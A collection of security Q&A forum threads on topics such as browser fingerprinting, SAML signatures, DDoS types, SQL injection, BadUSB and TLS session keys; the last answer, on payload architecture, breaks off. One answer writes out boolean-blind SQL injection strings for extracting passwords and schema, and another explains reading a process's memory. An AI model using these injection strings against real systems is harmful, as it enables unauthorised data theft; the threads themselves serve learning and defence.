I'm on 64bit Ubuntu 16.04 LTS.

UPDATE:

I did a fresh install of firefox, purging the old one, and started a new profile. No change. I installed Random Agent Spoofer, which has options to Limit Detectable Fonts; and that worked for the fonts. However, Panopticlick still shows my fingerprint as unique.

Tor browser, however, does not.

So, I guess it's firefox for things I have to log in to use (because they have a much simpler way of tracking me), and Tor for everything else.

I looked in about:preferences#privacy for an option regarding fonts,
  but don't see one. So, where is this parameter and how do I configure
  it?

Well, you should have read the complete article you linked :-). It says:

  You need to do the following to use a system font whitelist in Firefox:

  Type about:config in the browser's address bar and hit the Enter-key afterwards. Confirm that you will be careful if the warning prompt is displayed.
  Right-click in the main pane listing all preferences, and select "New > String" from the context menu.
  Name the new parameter font.system.whitelist
  Now add fonts to the whitelist separated by comma: Helvetica,Courier,Verdana is a valid value for instance.

If I do this in my (recent) version of Firefox on Windows 7, the list of fonts displayed by Panopticlick changes as expected.

Before, Panopticlick lists over 40 fonts, both the standard Windows fonts and fonts installed by applications. Afterwards, it only lists "Courier, Helvetica, MS Sans Serif, MS Serif, Times". I'm not sure why the list is different from the whitelist, but the feature does work.

I also tested on Debian Linux, with similar results.

Note that this whitelist not only restricts the list obtainable by web sites, it means Firefox will really not use other fonts for rendering, so sites may use different fonts because of this. Whether that is a problem or a bonus is for you to decide.

If that does not work for you, check whether you are running a different version of Firefox, with different features. Some Linux distributions, for example, create (or used to create) their own version of Firefox.

Try installing the regular version from https://www.mozilla.org/en-US/firefox/new/ (you can just unpack it anywhere you like and run it). Create a fresh profile on startup, and check again.


Is signature validation mandatory if encrypted assertions are sent over HTTPs in SAML 2.0? We are using SAML Web Browser SSO Profile (SAML 2.0)

We have a SP using SAML2.0. All communication between IdP and SP is over HTTPs.

If AuthnResponse from IdP is sent over HTTPs, is it mandatory for the SP to validate the signature on both the encrypted assertions and the signature on the entire response? Is the IdP not required to do signature validation if the all the assertions are encrypted?

Thanks.

Unless you are using Artifact binding (not very common), signature validation is always required. While the communication with both the SP and the IDP is via HTTPS, the user's web browser is relaying the responses/assertions, so you cannot trust the integrity of those messages. Thus the use of signing.

Encryption, on the other hand, might be a duplication of what HTTPS provides, depending on the structure of how the IDP is generating/receiving those assertion. But keep in mind that decrypting a message does not prove its integrity.

Summary: you might be able to drop the encryption but you cannot drop the signing.


Different types of DDoS attacks What is behavior of UDP flood, TCP SYN flood, Ping of Death and Smurf attack?

Ping of Death, Teardrop etc. were local attacks for broken TCP/IP stack implementations and caused affected systems to crash (mostly in late 90-ties).

Smurf in an example of distributed (DDoS) attack, which uses ICMP Echo Request with spoofed address to cause victim systems to be flooded by ICMP Echo Reply packets.

TCP SYN flood is an attack to overflow victim's TCP connection queue, so it won't be able to handle new incoming connections.

UDP flood is just sending multiple UDP packets to fill victim's bandwitdh.


LFI or RFI from XSS? Could XSS lead us to the Local File Include or Remote File Include?
I read article that it's possible to upload shell via XSS vulnerability, but I still have no idea how it had been achieved.

Server-side "remote file inclusion" vulnerabilities are sometimes classified as XSS, because they include server-side script from another site. I suggest not to use this classification because most people associate XSS with JavaScript.

That being said, JavaScript XSS may lead to a server side remote include: Assume there is a function which allows administrators to upload plugins. If there is a XSS vulnerability somewhere in the same domain, an attacker can use it, to gain access to the administrator-session and upload arbitrary program code, such as phpshell.

Furthermore the upload function might not even be intended for plugins but just for images. It might not properly validate the upload, and put the uploaded files into a directory in which .php files are executed, for example.

This might either be a bug because the developers were not aware of the risks, or just a dangerous omission based on the assumptions that only trustworthy people upload files. That's were the XSS vulnerability comes into play.


SQL Injection - MSSQL I'm learning about SQL injection and have the following backend code,

Set rs = server.CreateObject("ADODB.Recordset")
SQL = "SELECT * FROM Registration WHERE name='"&name&"'"
rs.Open SQL,Conn,0,1
if not rs.EOF then
    message = "Your ID is """ & rs("iD") & """."
else
    message = "id does not exist."
end if

I have been able to inject this to pull out a iD, but I'm wondering if it would be possible to go even further and get more info? Based on my code I don't think that is possible since my code only returns the iD DB field.

Am I right?

To exploit this vulnerability, one doesn’t need a direct output. There is also a technique called boolean-based blind where the behavior of different boolean expressions is used to extrapolate the data from:

foo' AND pass LIKE 'a%

If the success message is returned, pass begins with a, otherwise it doesn’t. If you repeat that with all possible characters recursively on each successful prefix, you’ll get the whole string.

You can do the same to get information about the database schema:

foo' AND EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 'abc%') AND '1'='1

With the knowledge of the database schema, one can read any data.

As Rook has already mentioned, SQLmap is quite a useful tool to automate the exploitation of such SQL injection vulnerabilities.


S/MIME signed e-mail, CRL ? Are CRL lookups performed when receiving a S/MIME signed e-mail or onyl when it's encrypted  ?

A Certificate Revocation List (CRL) serves to check that the Public Key of an entity, even if signed by a legitimate, recognised Certification Authority (CA), has not ben revoked since it was issued.

A Public Key is used (and thus the CRL is checked) in two occasions:

a. When you want to encrypt an outgoing email you use the Public Key of the recipient
 b. When an incoming message has a digital signature and you check its sender identity based on the validity of the public key of the sender

Please note that to avoid generation of excessive traffic the CRLs are checked periodically and cached in between checks.


Create an TLS private key with bag attribues using openssl i'm using openssl in generating an certificate requests ,

what option do i specify in generating an private key with bag attributes

example :

Bag Attributes
    friendlyName: test-server
    localKeyID: 54 69 6D 65 20 31 34 37 34 34 32 31 35 37 30 35 35 39
Key Attributes: <No Attributes>

Bag attributes in OpenSSL PEM files seem to be a side effect of converting a PKCS#12 keypair into PEM format.  An example is here:

Export PKCS12 files to PEM format using OpenSSL

If you're creating a PKCS#12 file using openssl, some of the command line arguments correlate to the bag attributes, and you can set them that way:

-name friendlyname

This specifies the "friendly name" for the certificate and private
key. This name is typically displayed in list boxes by software
importing the file.

-caname friendlyname

This specifies the "friendly name" for other certificates. This
option may be used multiple times to specify names for all
certificates in the order they appear. Netscape ignores friendly
names on other certificates whereas MSIE displays them.

-CSP name

Write name as a Microsoft CSP name.

This page describes how to remove Bag Attributes by converting PKCS#12 to PEM, trimming the PEM, and converting PEM back to PKCS#12 - not what you're looking for, but illustrative.  You might be able to alter some bag attributes by converting, editing, converting back (although I wouldn't expect anything good to come out of modifying the localKeyID, for example)


IoT devices with public IP? My understanding of worms like Mirai is the following:

Try to telnet/ssh into random IPs using default user/pass credentials from various router/IoT manufacturers
If you get in, do Bad Things™.

It seems the targets are generally home/consumer devices, which would be on a home LAN. From Wikipedia:

  [Mirai] primarily targets online consumer devices such as remote
  cameras and home routers.

So here's what I don't get. Why would a remote camera/printer/whatever ever have a public facing IP? They would only be accessible by NAT through the gateway, right? So a telnet request on port 23 would never reach it!

For example. Suppose I bought a camera with telnet credentials "root:123456". I then connect it to my wifi. Why would it matter to a Mirai worm outside the network that I have this vulnerable camera? If the worm tried to telnet to my public IP, it would only be able to try to telnet into my router, not the camera!

Whilst such devices shouldn't be directly exposed, it can happen and not just through sloppy setup or UPnP.

A compromised router, internal malware, driveby malvertising, etc. could all create a gap into the internal network.

In addition, it may happen occasionally that changes made to otherwise secure networks may inadvertently expose internal resources. This is especially likely when people start experimenting with IoT.

Finally, it is possible that consumer devices come with a vendor supplied Internet service to get a "secure" remote connection and that may not be properly secured. For example, many NAS's come with a way to access them remotely without having to create inbound firewall rules. The NAS connects to a vendor server and you also connect to that when remote via some web service or app. Many consumer IoT devices come with similar services that allow access from mobile phones (remote lights, heating controls, etc).


FooCoin, a BitCoin on an encrypted smartphone OS = flawed? Please help me with a theoretical Bitcoin equivalent called FooCoins that are encrypted inside small phone electronics that are difficult to modify and hack, using a closed source OS.

BitCoins use the fastest processors to mine coins and verify accounts and hash keys.
FooCoins aren't mined via processing, they can only be bought by trading physical items and standard currencies, and they have a non centralized stack verification based on puzzle solving. An encrypted code is sent to all the other phones in 3G and they all compete to solve a problem using that code, and another challenge starts.

Q: Can computation expense still be used to verify accounts? The FooPhones all have the same processing power and they randomly can win the verification task.

Q: Can FooCoin OS on mobiles be hacked by fast PC's that use false ID's?

I think there are some "devil in the details" that you left out, so I'm not sure I can give a complete answer, but here are my thoughts:

  FooCoins aren't mined via processing, they can only be bought by trading physical items and standard currencies

So you're going to start the pool with a fixed number of FooCoins. Who starts with the initial FooCoins? More importantly, who decides who gets them? You? Sounds a lot like a centralized bank to me...

Paying newly-minted bitcoin to miners serves two purposes:

Introduce coins into the market in a merit-based way.
Miners verify the integrity (trustworthiness) of the block chain. Bitcoin would not work without a very large number of miners spending a huge amount of real-world money on electricity to do the mining. Unless the reward is greater than the cost, nobody will mine and the crypto-currency will fall over.

Let's take a brief stroll into how a bitcoin transaction and bitcoin mining works:

Some person wants to send money from their wallet to somebody else's wallet, so they broadcast a message to the world announcing their intent to do this. (the message is signed by their wallet's private key).
Miners collect these announcements that are flying around and roughly once per 10 minutes, they hash them into a block. The decentralized and proof-of-work nature of bitcoin comes from the fact that miner's can't just publish a block, they need to play with inserting random values into the block until the SHA-256 hash of the block has at least N leading zeros (N is called the work-factor, and get adjusted based on the number of miners in the system). The first miner to find a successful combination of random numbers gets to publish that block, and gets rewarded with a bitcoin (plus any tips in the transactions).

So basically, we have a non centralized chain verification based on hash and random number puzzles. A signed intent to transfer message bitcoin is sent to all miners and they all compete to solve a problem using that message. Once a miner successfully solves that block, a new block starts.

This has a striking resemblance to your suggestion:

  they have a non centralized stack verification based on puzzle solving. An encrypted code is sent to all the other phones in 3G and they all compete to solve a problem using that code, and another challenge starts.

I think you just invented bitcoin.

An to your actual questions:

  Q: Can computation expense still be used to verify accounts? The FooPhones all have the same processing power and they randomly can win the verification task.

At the surface, "puzzle solving" still sounds like "proof-of-work" to me.

I don't think you've told us in enough detail how the verification works. What exactly is that "code" they send each other? What's the mechanism for transferring part of a FooCoin from one FooPhone to another? What puzzle are the "miners" solving?

  Q: Can FooCoin OS on mobiles be hacked by fast PC's that use false ID's?

What ID's? This is the first time you've mentioned ID's in your question. How are ID's related to FooCoin?

But in general, it seems like you're relying on the "closed-source-ness" of the FooCoinOS as your protection. 1) You can hardly call this "non centralized" if a small number of developers controls the code, and 2) if FooCoins get valuable enough, the source code will get leaked, either through hacking the servers where the source code lives; reverse-engineering a FooPhone; or by one of the devs getting greedy and selling the source code, at which point you'll have server farms competing with your FooPhones to solve the puzzles.


Is xxhash a one-way hash? Is xxhash a one-way hash algorithm?

The documentation does not state this.

Hmm, documentation on xxhash seems hard to find. It does state pretty clearly that it's "for non-cryptographic use", so it probably depends what you mean by "one-way".

Looking at the source code, the magic seems to happen here (line 247, and line 278):

/* *******************************************************************
*  32-bits hash functions
*********************************************************************/
static const U32 PRIME32_1 = 2654435761U;
static const U32 PRIME32_2 = 2246822519U;
static const U32 PRIME32_3 = 3266489917U;
static const U32 PRIME32_4 =  668265263U;
static const U32 PRIME32_5 =  374761393U;

static U32 XXH32_round(U32 seed, U32 input)
{
    seed += input * PRIME32_2;
    seed  = XXH_rotl32(seed, 13);
    seed *= PRIME32_1;
    return seed;
}

...

if (len>=16) {
    const BYTE* const limit = bEnd - 16;
    U32 v1 = seed + PRIME32_1 + PRIME32_2;
    U32 v2 = seed + PRIME32_2;
    U32 v3 = seed + 0;
    U32 v4 = seed - PRIME32_1;

    do {
            v1 = XXH32_round(v1, XXH_get32bits(p)); p+=4;
            v2 = XXH32_round(v2, XXH_get32bits(p)); p+=4;
            v3 = XXH32_round(v3, XXH_get32bits(p)); p+=4;
            v4 = XXH32_round(v4, XXH_get32bits(p)); p+=4;
        } while (p<=limit);

        h32 = XXH_rotl32(v1, 1) + XXH_rotl32(v2, 7) + XXH_rotl32(v3, 12) + XXH_rotl32(v4, 18);
    } else {
        h32  = seed + PRIME32_5;
    }

    h32 += (U32) len;

    while (p+4<=bEnd) {
        h32 += XXH_get32bits(p) * PRIME32_3;
        h32  = XXH_rotl32(h32, 17) * PRIME32_4 ;
        p+=4;
    }

    while (p<bEnd) {
        h32 += (*p) * PRIME32_5;
        h32 = XXH_rotl32(h32, 11) * PRIME32_1 ;
        p++;
    }

    h32 ^= h32 >> 15;
    h32 *= PRIME32_2;
    h32 ^= h32 >> 13;
    h32 *= PRIME32_3;
    h32 ^= h32 >> 16;

    return h32;

"One-way" in cryptography means that it's computationally infeasible to reverse it or generate collisions. Since this is some bit-shifting plus a bunch of additions, multiplications, and exponentiations with fixes primes and a fixed modulus (32-bytes). You could probably come up with a Chinese Remainder Theorem based algorithm to break it. So as the documentation says, it's certainly not "one-way" in the cryptographic sense of the word.

Note that there are other definitions of "one-way" that make sense in a non-cryptographic sense. For example the hash function of taking a person's initials is "one-way" in the sense that JS could equally be Jon Snow, Jane Smith, Johann Sebastian, etc.


Is it safe to tell credit card number to bank employee over a phone? Recently, I got a new credit card via post. To activate it, it is required to call to the bank (phone number is attached to the card) and confirm, that card was received. For activation purposes, the bank employee asks me to provide full card number, as well as my name/address/etc.

However, I do not use phone banking so often, and I was not sure if it is safe to tell my card number over phone.

So, are there any security risks of doing this (except Man-In-The-Middle, listening to my phone communication)?

If you consider how credit cards are used there is no increased security risk associated with providing the bank employee with the card number and your name and address.

For example if you use the card for mail order purchases you will provide the same detail, but also the CVV code and expiry date a greater level of risk...but this is how they are intended to be used!

Similarly for any 'in-person' transactions, often the retailer will have full access to all the details from the card, albeit normally without address details.

Given that you are phoning the bank, by implication the person you are providing the details to is trusted by the bank...for the vast majority of subsequent card use scenarios there will not be as much trust in the person you provide the information to.

If the phone call requires you to 'authenticate' using a telephone banking password or phrase of some description, this can help to ensure that someone who has intercepted your post and stolen the newly issued card cannot activate it and use it.


Using ex.: Ubuntu or Windows: Can I see the memory of a process that I am running? If I don't have Administrator or root privileges on a Desktop machine and I am running a password manager, can I see the memory contents of that password manager, or higher permissions needed?

So I am running a process ("foobar" user, not root) and I want to view the whole content of the memory of the password manager (ex.: the password that unlocks it).

Yes, you can read the memory of processes you own.

On Windows you need to open a handle to the process with PROCESS_VM_READ rights, and you can use ReadProcessMemory to read that process's memory (unsurprisingly). You must be running under a context with the appropriate security token to match a rule in the DACL (access control list) of the process, or be granted a privilege which allows global process access (e.g. SeDebugPrivilege).

On Linux you can read /proc/$pid/mem if you are the owner of that process or root.

This is entirely by design. The processes exist under your security context, so therefore you have access to them. If you run malicious code under that same security context, it has access to everything you do.

There is, however, a saving grace from such a scenario under a modern Windows system - integrity levels. Processes can be split into different integrity levels describing their trustworthiness. A low integrity process is restricted from a lot of operations, including interprocess access to high integrity processes. The boundary between low integrity and high integrity is often managed via User Access Control (UAC) elevation prompts and the secure desktop. KeePass, for example, utilises this so that a browser exploit gaining code execution in a low integrity process cannot gain direct access to the KeePass process. While UAC itself is not considered a security boundary, integrity levels are.

Many password managers also attempt to make master key and password decryption from memory dumps difficult. On Windows the CryptProtectMemory API can be used to encrypt data in memory using a key stored in the Local Security Authority subsystem (LSASS) which is protected by the operating system, thus requiring administrative privileges (SYSTEM, in fact) to discover the key.

Linux with the grsecurity patches has some restrictions on access to /proc which may also provide some security benefits in these types of scenarios, although I am not well versed enough in the grsec options or Linux internals to know exactly how these work and what exactly they prevent.


Why there is a need for a master key? According to this source about TLS, there are 3 stages (I'm over simplifying):

Set up. Server client hello and select TLS version + Cipher
Server Sends. The server sends Certificate = Public Key + Signature

(SSH connection requires the same kind of arrangement, the server holds a private key, and the client a public key. Not sure if this comparison is correct.)

Client Sends. The client generates a master key also called Session Key, send back the server

Why does this last step occur?
My poor model tells me: the information travels, was encrypted using the cipher, and the "safe" can also be opened private key or public key.
So, again, why a master key?

Because asymmetric cryptography is slow.
Asymmetric encryption and decryption has some wonderful properties, but speed is not one of them. In fact, asymmetric cryptography is among the slowest encryption and decryption algorithms there are.
As such, if you wanted to download a very large file, then the process of encrypting that file on the server and decrypting it on the client would take very long. Magnitudes longer than it does now.
On the other hand, symmetric cryptography is very fast. AES-128-CBC can be as fast as 600 MB/s for encryption and 2300 MB/s for decryption. The problem with symmetric ciphers is that you need to distribute the keys somehow.
As such, by combining symmetric and asymmetric cryptography, we can share the key (which is rather small by comparison, just 16 or 32 bytes) using asymmetric cryptography, and then encrypt the actual data using fast, symmetric cryptography.
Because you want forward secrecy.
Wikipedia defines Forward Secrecy as follows:

In cryptography, forward secrecy (FS), also known as perfect forward secrecy (PFS), is a feature of specific key agreement protocols that gives assurances that session keys will not be compromised even if long-term secrets used in the session key exchange are compromised.

What that means is, imagine an attacker captures HTTPS traffic between you and a server, and it's all simply encrypted by RSA - no master key, no symmetric ciphers. This alone doesn't compromise anything, but an attacker can keep the captured data and wait. Later, the private key of the server is leaked or otherwise compromised, and suddenly your communication with the server from back then can be decrypted.
On the other hand, if a cipher with Forward Secrecy is used, then the master key is generated for this session alone. Compromise of the long-term secret - in this case, the private key of the server - does not lead to compromise for the previously captured message.


Comprehensive & current book on native application exploit research & development Is there a 'must read', comprenhensive book on native application exploit development?

Covering the process of finding vulnerabilities (fuzzing, reverse engineering, code analysis, etc...) & going from vulnerability to working exploit. Including coverage of ASLR & DEP and the methods being used to circumvent them.

Erickson's 'Hacking : The Art of Exploitation'  and Heasman, Lindner & Richarte's 'The Shellcoder's Handbook' seem to fit the bill but the research I've done on those has turned up a lot of people saying they're now both out of date.  Is that accurate?

Thanks!

There are many avenues of exploitation, and as you're noticing, they constantly evolve.  Your best bet is to attend a major conference like Black Hat, take copious notes from the briefings, and learn from the people who are actively exploiting systems today.

The speakers know that by the time they finish writing a book it's likely going to be out of date, and won't sell.  That's probably why there aren't too many books on the topic.  At least they take time to present what they've learned at these conferences, though, so there is information available.

If you have the chance (and the budget) the training sessions held at Black Hat are where you'll pick up the most specific and current knowledge on exploiting software.  For example, the Exploit Laboratory is a two day course, followed by two more days of Exploit Black Belt training.  Taking both would set you back as much as $6,000 (that's in addition to the $2K needed for Black Hat registration), but if you absolutely need these skills, it's an investment in yourself.

If you don't have that kind of money, DEFCON is only $180, a lot more casual, way more fun, and you'll have the chance to meet and hang out with the speakers.  Quite a few of them are the same speakers giving the same presentations they gave at Black Hat; others are a bit more anonymous.


Is it possible to improve brute-force guessing of a password with a picture of the keyboard used to enter it? Is it a bad idea to post a photo of your keyboard to social media?

Can I look at a photo of a keyboard and determine the password of an account?

Assuming a certain (set of) password(s) is the most commonly typed character sequence on a given keyboard:

Is the resolution in the photo of that keyboard sufficient to determine the most frequently used set of keys, by analyzing the grease patterns on them?
If I know the most frequently used keys, is a brute force attack now feasible, since I can limit the size of the dictionary?

This question is inspired by a time I saw a door protected by a numeric keypad, where the paint was missing on three of the keys. The room number was three digits, none of which had paint on their respective keys. Unsurprisingly, the combination was the room number reversed.

In some cases yes, you can guess the most frequently used keys by the wear marks. That's how I know that apparently I use the L, M, N, A and E keys a lot - the keys are now just black, the letter is faded.

And one special key being significantly more used than the others - unless it's "{", "}" or ";" and you happen to be a programmer - could allow to include that in a bruteforcing, or exclude others (this is definitely NOT my keyboard, but still):

But most people don't use the keyboard for just their passwords, and the wear pattern is also influenced by the stroke direction, angle and pressure - keys farther down the keyboard will be pressed differently from those nearer. The keys I wear faster appear to be exactly under the hand that controls them, and now that I noticed, I hit them harder than the rest (OK, also I'm a horrible typist).

The keyboard might hint (weakly, at that) at what the most frequent typed word, or anagrams thereof, might be. But that's not the same as your password except in very specific cases (e.g. an entry keypad).

In even more specific cases such as heat-conducting entry keypad, FIR or strong UV picture taken immediately after typing so that residual heat or fluorescence or phase interference from skin oils may be appreciated, you might be able to get something. But an ordinary picture conveys no such information.

So my opinion would be that keyboard pictures are mostly harmless.

On the other hand, I sometimes see Post-It with letters and numbers on them attached to monitors and on woodboards behind selfied people, so I'd also say that it's always a very good idea to review the photos (as well as whatever else) you post to the social media, looking at the goods with an attacker's eye:

inside view of (broken/defective/jimmied?) locks and/or brand names useful to research approaches
hints about location (this might be relevant to determine whether you're holidaying abroad, and estimate how long your home will be vacant)
valuable items (might give people ideas either about them, or about your wealth, which also could give people ideas)
discrepancies between what's shown and what you told anybody who might get to know, such as employer, insurance company, significant other(s), etc.

At least once, some months after this answer was posted, the last case actually happened.


Can BadUSB be avoided by looking at the shapes and the controller model inside it? I'm an average user. I don't take part or have any dangerous jobs.
I know that there is no fixed solution for this type of attack. However, I think USB is still become common devices for average user. So many average users still use USB as keyboard, mouse, dongle for transferring their data from phone to PC, etc. But after learning about BadUSB I became aware of it. So my goal is to prevent the badusb attack as an average user.
I have reviewed around 30 types of BadUSB by reading article, searching on several forums and looking at Github.
I have some premature conclusion that the majority of hardware inside of BadUSB is clearly different from a common or standard USB on the stores. Example lists of BadUSB,

Malduino (https://maltronics.com/collections/malduinos)
TinyDuck (https://github.com/justcallmekoko/Tinyduck)
USB Keystroke Injector (https://github.com/AmirrezaNasiri/usb-keystroke-injector)
USBDriveBy (Samy.pl)
RubberDucky (https://shop.hak5.org/products/usb-rubber-ducky-deluxe)
UberHID (https://github.com/kripthor/UberHid)
USBSamurai (https://securityaffairs.co/wordpress/89978/hacking/usbsamurai-usb-hid.html)
USBKeylogger (https://github.com/justcallmekoko/USBKeylogger)

I only found 1 (One) BadUSB type made by BrandonLW and Adam Caudill (github.com/brandonlw/Psychson) that looks exactly like standard USB. However, their codes only works for several USB controllers. This was also confirmed by DevElectron's statement at the Hak5 forum. ("i must start with mentioning that it can not be done with all the USB sticks you will need one with a specific Nand chipset on it."

forums.hak5.org/topic/34950-how-to-make-a-usb-rubber-ducky-using-a-normal-usb-stick -

So, what do you think about it? Is my understanding about BadUSB correct?
Or does ANY KIND of USB from official stores are vulnerable to this attack?
If any kind of USBs are vulnerable, that means this attack can even be applied to SSD External and HDD External, right?
Then, how can I make sure official brands of SSDs or USBs are safe from BadUSB?

No, you can't tell by looking at it.
There are two mistakes in your reasoning. One is that you're confusing two methods of attack: modifying an existing device, and making a device from scratch. The other is that your research clearly has an observation bias (presumably, because you're finding the things that are easier to find on the web).
Originally, BadUSB was an exploit of the firmware of an existing USB device. As any firmware exploit, it's specific to a particular device, or to a set of devices that use similar firmware. A lot of devices' firmware is susceptible to an exploit of this kind, but the exploit has to be written for each device. The goal of this exploit is to take an existing “inoffensive” device, for example a USB flash drive, and turn it into a multi-purpose device by adding the functionality of a hub (so that the device keeps working for its original purpose) and a malicious device, for example a keyboard to inject malicious commands. It works because from the point of view of the computer, the device is just sending traffic on the wire obeying the USB protocol. If the device can be reprogrammed to send traffic saying that it's a hub, then as far as the computer is concerned, it's a hub. This type of device obviously looks inoffensive, since it's physically exactly what you think it is: only the software running on the device is malicious.
“BadUSB” has been extended to a variant of this attack that reaches the same goal through different means. The goal of this attack is to have a device that looks like a flash drive, but is in fact a hub connected to both a flash drive and a keyboard. You can do that by modifying a flash drive, or by building your own device. If you build your own device, you certainly can make it look externally like an ordinary flash drive, but you don't have to. Hobbyist and security researchers who are demonstrating the possibility typically don't bother to ensure that they use chips that are small enough to fit in the intended volume and to mold them in a shapely plastic case. But there are also people who are doing this for nefarious purposes, and who therefore don't mind paying some manufacturing cost. If you're willing to pay the manufacturing cost, you can make a device that just looks like a random flash drive, but has a fake keyboard inside.
Your research has mostly found hobbyist projects for building a custom USB storage+keyboard device from electronic components that can be bought in small quantities for cheap. That's to be expected: those are the people who make web pages to explain how it all works. Actual black hats don't bother to do that, so they have a markedly lower web profile.
To get an actual assessment of whether BadUSB (including the built-for-purpose variant) is detectable, you need to look at the devices that attackers actually use, not at teaching devices. There doesn't seem to be a lot of publicly available detail about those. But I did find one article with a photo:

This doesn't look different from any other USB thumb drive.
Such devices are available for sale for only slightly more than a normal thumb drive. You even list one in your question, the Rubber Ducky:

Once again, this looks like an ordinary thumb drive. The only thing that sets it apart is the logo, and that's of course extremely easy to change. Even looking at the electronics inside, you couldn't tell that it isn't just a thumb drive except maybe by knowing exactly what this particular model looks like inside.
You cannot avoid BadUSB by looking at devices. You need to know the chain of custody of the device. Only accept USB devices from people that you trust not to be malicious and not to be fooled by a malicious device. If you absolutely need to plug in a USB device that you don't trust, configure your operating system to only automatically accept USB storage devices and to require confirmation for any other type of device, and make sure never to run software from the device or to open a file that could contain malicious macros (such as Microsoft Office files).


Defence Against Keyboard Keylogger I am wondering whether there is a way to defend against USB Keyboard Keylogger (obviously other than physically checking the keyboard every time after leaving my computer unattended).

These days, people can buy cheep hw keyloggers, such as the Keyllama USB Keylogger, which are small and quite hard to discover unless you are looking for it.

If somebody wanted to install such keylogger on my computer, he would have to disconnect the keyboard first. Provided the machine is running (I always leave my machine running), this event would be logged in /var/log/kernel.log. So that might be one way to alert me.

Is there some other way?

EDIT: I should add, that my whole hard disk is encrypted, and thus an attacker cannot just boot from USB/CD and modify my system. He might format my disk/destroy my machine, but that is not the issue here.

Also, when I leave my office, I leave my machine running, but I always log out.

In my office, power outages are extremely rare. If one happens, this will be a reason for me to thoroughly check my machine for any possible intrusion.

Using a laptop effectively prevents this.

You could glue the keyboard into the USB socket. Not ideal, but hey :-)

Another is to use a Bluetooth keyboard, with integrated Bluetooth on the computer.

But these are all kludges really; in general I agree with the other comments that if an attacker has physical access, most bets are off.

This is quite a good example of where it is important to understand your potential attacker. The Bluetooth keyboard approach will reliably stop a colleague casually installing such a device. It won't stop the CIA/NSA - but you probably don't mind that. A lot of the other answers assume your likely attackers are highly skilled and resourced. If you're that much of a target, I'd guess you wouldn't be asking this on the internet :-)


Replace Nmap with Nessus I have to replace NMAP with Nessus. I got answer for few settings, but there are few settings in NMAP for which I am not able to get answer. If you could answer me, it would be helpful.

For example,

NMAP Option "-Pn" - Use: Do not use host discovery. Port scan w/o responding to ping

Equivalent Nessus Option: "Use Fast Network Discovery"

These are other options for which I could not find the answer:

NMAP Option "-r" - Use: Do not randomize the order of ports

Equivalent Nessus Option: ?

NMAP Option "-n" - Use: Do not reverse DNS

Equivalent Nessus Option: ?

NMAP Option "--max_rtt_timeout" - Use: Time waiting for reply (Longest)

Equivalent Nessus Option: ?

NMAP Option "--initial_rtt_timeout" - Use: Time waiting for reply (initial value)

Equivalent Nessus Option: ?

First thing to remember:

nessus is not a discovery tool
is not made to be fast

BTW have a flexible networking scanner.
When you create the policy for the scan. Take a look at discovery tab and port scanning.
Can do also tcp and udp ping.
By default scan the ports in from first to the last. But there is also the random option. Play a bit with the home edition


PCI definition of "store" In the PCI DSS 3.1 requirements, the term "store" is used often.  For example requirement 3.2 says "Do not store sensitive authentication data after authorization (even if encrypted)..."  Does this mean sensitive authentication data can be kept in memory and even transmitted between systems after an authorization or is the use of memory (RAM) considered storage?

IANAQSA

In the PCI DSS, "store" basically means "keep a copy of, outside of those copies which are necessary to the actual processing chain."  It's not so much the method of "storage" as the intent.

So the SAD may be kept in memory, written to a database, or even saved to a file as a necessary component of processing.  Batch processing files are the most obvious example of this.  I have heard QSAs describe the acceptable period for this processing-storage state as "hours, not more than 24"; here's a snippet from Braintree claiming that it might be up to days.  You should discuss your situation with your QSA; they are the only ones whose opinion matters.

Likewise, if you are keeping the SAD in memory after it was no longer necessary for processing, you're violating the "do not store" clause.  You could, hypothetically, set up a pair of programs to ping-pong the SAD data across the network so that it was always being transmitted; if you didn't need that data for a processing step, you're still "storing" it when you shouldn't be.


Why should web applications use multiple gatekeepers? I have been reading a security checklist for web application design which can be found on:

http://msdn.microsoft.com/en-us/library/ff648647.aspx

One of the recommendations is to "use multiple gatekeepers".  I have read the explanation for it but I didn't understand anything. Here is the explanation:

  On the server side, you can use IP Security Protocol (IPSec) policies to provide host restrictions to restrict server-to-server communication. For example, an IPSec policy might restrict any host apart from a nominated Web server from connecting to a database server. IIS provides Web permissions and Internet Protocol/ Domain Name System (IP/DNS) restrictions. IIS Web permissions apply to all resources requested over HTTP regardless of the user. They do not provide protection if an attacker manages to log on to the server. For this, NTFS permissions allow you to specify per user access control lists. Finally, ASP.NET provides URL authorization and File authorization together with principal permission demands. By combining these gatekeepers you can develop an effective authorization strategy.

Basically, what I would like to know is, what is meant by "multiple gatekeepers"?  Thank you :)

While I personally disagree to the use of the term "gatekeepers" in this sense, I believe they are referring to the various defense components/modules that make-up a defense in depth stratergy for the same.

An example of this would be, while a web.config file cannot be read via HTTP in plaintext, any user logged into the system via a remote desktop solution (SSH, rDesktop, VNC, TeamViewer,PowerShell, etc) would be able to read it clearly. In such a case, not only wil you have to configure IIS Web Permissions to block access but you will have to be configure NTFS (File System) permissions to specify which users may read/write/execute that particular file.

Therefore, I believe they are saying that a serial combination of these "gatekeepers" will help you in developing an effective authorization stratergy.


Is the image of the signature considered PII? I wrote a pay app and as part of that, I have a HTML5 canvas where buyers can sign for credit card or goods received.  I then ajax the base64 back to the server in a DB table (genius, I know).  I also have a means of changing it to png for reporting and other things.

Do I need to treat the base64 image string as if it is PII and apply the same protocol?  Even with a GUID as the name?

PII by definition is

  any information that can be used on its own or with other information
  to identify, contact, or locate a single person, or to identify an
  individual in context.

And to answer your question, image of signature is a sensitive PII as it can be used to identify a person. As base64 encoding only obfuscate the data, that also shall be considered sensitive and nearly as unsafe as having the cleartext counterpart. You should treat the data as a sensitive PII irrespective of the type of encoding and filename.


Architecture dependency issue associated with malicious payloads My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation.

In a situation where the target box architecture(x86, x64, ARM, etc) is unknown.

Would an x64 payload work on a x86 architecture without user intervention? For example, Windows prompting the user to run executable in a capability mode.
Is there a solution for payload delivery that does not have architectural dependencies?
Would encoding a x64 payload with an x86 encoder create compatibility issues when executed?

Any help is appreciated! I appreciate it because I'll save time asking here  rather then manually testing.

1. Can an x64 payload work on an x86 architecture
64-bit executables can not work on an x86 architectures because there are two many differences between the architectures.  Beyond the address space limitations there are 64-bit registers that just do not exist.  Parameters for functions are handled entirely differently.  Machine instructions operate differently.
